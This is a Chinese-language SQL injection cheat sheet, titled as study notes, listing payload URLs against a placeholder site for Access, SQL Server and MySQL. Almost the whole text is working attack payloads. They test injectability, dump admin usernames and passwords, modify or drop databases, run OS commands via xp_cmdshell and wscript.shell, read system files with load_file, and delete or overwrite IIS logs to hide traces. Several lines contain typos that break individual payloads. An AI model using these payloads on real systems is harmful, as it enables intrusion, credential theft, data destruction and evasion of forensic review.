SQL注入札记

SQL Injection Study Notes

1、Access
判断是否可注射：
http://www.targer.com/article.asp?id=6
http://www.targer.com/article.asp?id=6'
http://www.targer.com/article.asp?id=6 and 1=1
http://www.targer.com/article.asp?id=6 and 1=2
判断网站后台数据库类型：
http://www.targer.com/article.asp?id=6 and user>0
http://www.targer.com/article.asp?id=6 and (select count(*) from msysobjects)>0
猜解注射：
article.asp?id=6 and exists (select * from admin)
article.asp?id=6 and exists (select password from admin)
article.asp?id=6 and (select top N len(password) from admin)>x
article.asp?id=6 and (select top 1 asc(mid(password,N,1)) from admin)=97
SQL注射Access导出Webshell：Null
2、SQL Server
判断是否可注射：
http://www.targer.com/article.asp?id=6
http://www.targer.com/article.asp?id=6'
http://www.targer.com/article.asp?id=6 and 1=1
http://www.targer.com/article.asp?id=6 and 1=2
http://www.targer.com/article.asp?action=value' and 1=1
http://www.targer.com/article.asp?action=value' and 1=2
searchpoints%' and 1=1
searchpoints%' and 1=2
确定数据库类型：
http://www.targer.com/article.asp?id=6 and user>0
http://www.targer.com/article.asp?id=6 and (select count(*) from sysobjects)>0
查询当前用户数据信息：
article.asp?id=6 having 1=1--
暴当前表中的列：
article.asp?id=6 group by admin.username having 1=1--
article.asp?id=6 group by admin.username,admin.password having 1=1--
暴任意表和列：
and (select top 1 name from (select top N id,name from sysobjects where xtype=char(85)) T order by id desc)>1
and (select top col_name(object_id('admin'),N) from sysobjects)>1
暴数据库数据：
and (select top 1 password from admin where id=N)>1
修改数据库中的数据：
;update admin set password='oooooo' where username='xxx'
增添数据库中的数据：
;insert into admin values (xxx,oooooo)--
删数据库：
;drop database webdata
获取当前数据库用户名：and user>0
获取当前数据库名：and db_name()>0
获取数据库版本：and (select @@version)>0
判断是否支持多句查询：;declare @a int--
判断是否支持子查询：and (select count(1) from [sysobjects])>=0
数据库的扩展存储过程：exec master..xp_cmdshell
查看服务器C盘目录：;exec_master..xp_cmdshell 'dir c:\'
判断扩展存储过程是否存在：and select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
恢复扩展存储过程：;exec sp_addextendedproc xp_cmdshell,'xplog70.dll'
删除扩展存储过程：;exec sp_dropextendedproc 'xp_cmdshell'
在MSSQL2000中提供了一些函数用于访问OLE对象间接获取权限：
;declare @s int
;exec sp_oacreat 'wscript.shell',@s
;exec master..spoamethod @s,'run',null,'cmd.exe/c dir c:\'
判断当前数据库用户名是否拥有比较高的权限：
and 1=(select is_srvrolemember('sysadmin'))
and 1=(select is_srvrolemember('serveradmin'))
and 1=(select is_srvrolemember('setupadmin'))
and 1=(select is_srvrolemember('securityadmin'))
and 1=(select is_srvrolemember('diskadmin'))
and 1=(select is_srvrolemember('bulkadmin'))
判断当前数据库用户名是否为DB_OWNER：
and 1=(select is_member('db_owner'))
在SQLSERVER的master.dbo.sysdatabases表中存放着SQLSERVER数据库系统中的所有数据库信息，只需要PUBLIC权限就可以对此表进行SELECT操作：
and (select top 1 name from master.dbo.sysdatabase order by dbid)>0
and (select top 1 name from master.dbo.sysdatabase where name not in(select top 1 name from master.dbo.sysdatabases order by dbid) order by dbid)>0
删除日志记录：
;exec master.dbo.xp_cmdshell 'del c:\winnt\system32\logfiles\w3svc5\ex070606.log >c:\temp.txt'
替换日志记录：
;exec master.dbo.xp_cmdshell 'copy c:\winnt\system32\logfiles\w3svc5\ex070404.log c:\winnt\system32\logfiles\w3svc5\ex070606.log >c:\temp.txt'
获取WEB路径：
;declare @shell int
;exec master..sp_oamethod 'wscript.shell',@shell out
;exec master..sp_oamethod @shell,'run',null,'cmd.exe/c dir /s d:/index.asp >c:/log.txt
利用XP_CMDSHELL搜索：
;exec master..xp_cmdshell 'dir /s d:/index.asp'
显示服务器网站配置信息命令：
cmd /c cscript.exe c:\inetpub\adminscript\adsutil.vbs enum w3svc/1/root
cmd /c cscript.exe c:\inetpub\adminscript\adsutil.vbs enum w3svc/2/root
利用XP_REGREAD可用PUBLIC权限读取：
;exec master.dbo.xp_regread
hkey_local_machine,
'system\currentcontrolset\services\w3svc\parameters\virtual roots\'
'/'
SQLSERVER下的高级技术可以参考阅读曾云好所著的精通脚本黑客第五章。
3、MySQL
判断是否可注射：
http://www.targer.com/article.php?id=6
http://www.targer.com/article.php?id=6 and 1=1
http://www.targer.com/article.php?id=6 and 1=2
判断数据库类型及版本：
http://www.targer.com/article.php?id=6/*lucky
http://www.targer.com/article.php?id=6 and ord(mid(version(),1,1))>51/*
http://www.targer.com/article.php?id=6/*!%20s*/
http://www.targer.com/article.php?id=6/*!300000%20s*/
通过UNION或ORDERBY确定当前数据库的字段数目：
http://www.targer.com/article.php?id=6 union select 1,1,1,1,1,1
http://www.targer.com/article.php?id=6 order by 6
猜解当前数据库表名：
http://www.targer.com/article.php?id=6 union select 1,2,3,4,5,6 from admin
利用猜解表名得到的信息查看数据库版本：
http://www.targer.com/article.php?id=6 union select 1,version(),3,4,5,6 fromadmin
暴管理员帐号密码：
http://www.targer.com/article.php?id=6 union select 1,username,3,4,5,6 from admin
http://www.targer.com/article.php?id=6 union select 1,password,3,4,5,6 from admin
暴表中其他信息：
http://www.targer.com/article.php?id=6 union select 1,username,3,4,5,6 from admin where id=2
http://www.targer.com/article.php?id=6 union select 1,password,3,4,5,6 from admin where id=2
判断是当前数据库是否为ROOT权限：
http://www.targer.com/article.php?id=6 and ord(mid(user(),1,1))114/*
判读是否具有文件读写权限：
http://www.targer.com/article.php?id=6 and (select count(*) from mysql.user)>0
读取十六进制c:/boot.ini文件信息：
http://www.targer.com/article.php?id=6 union select 1,load_file(Ox633A2F626F6F742E696E69),3,4,5,6 from admin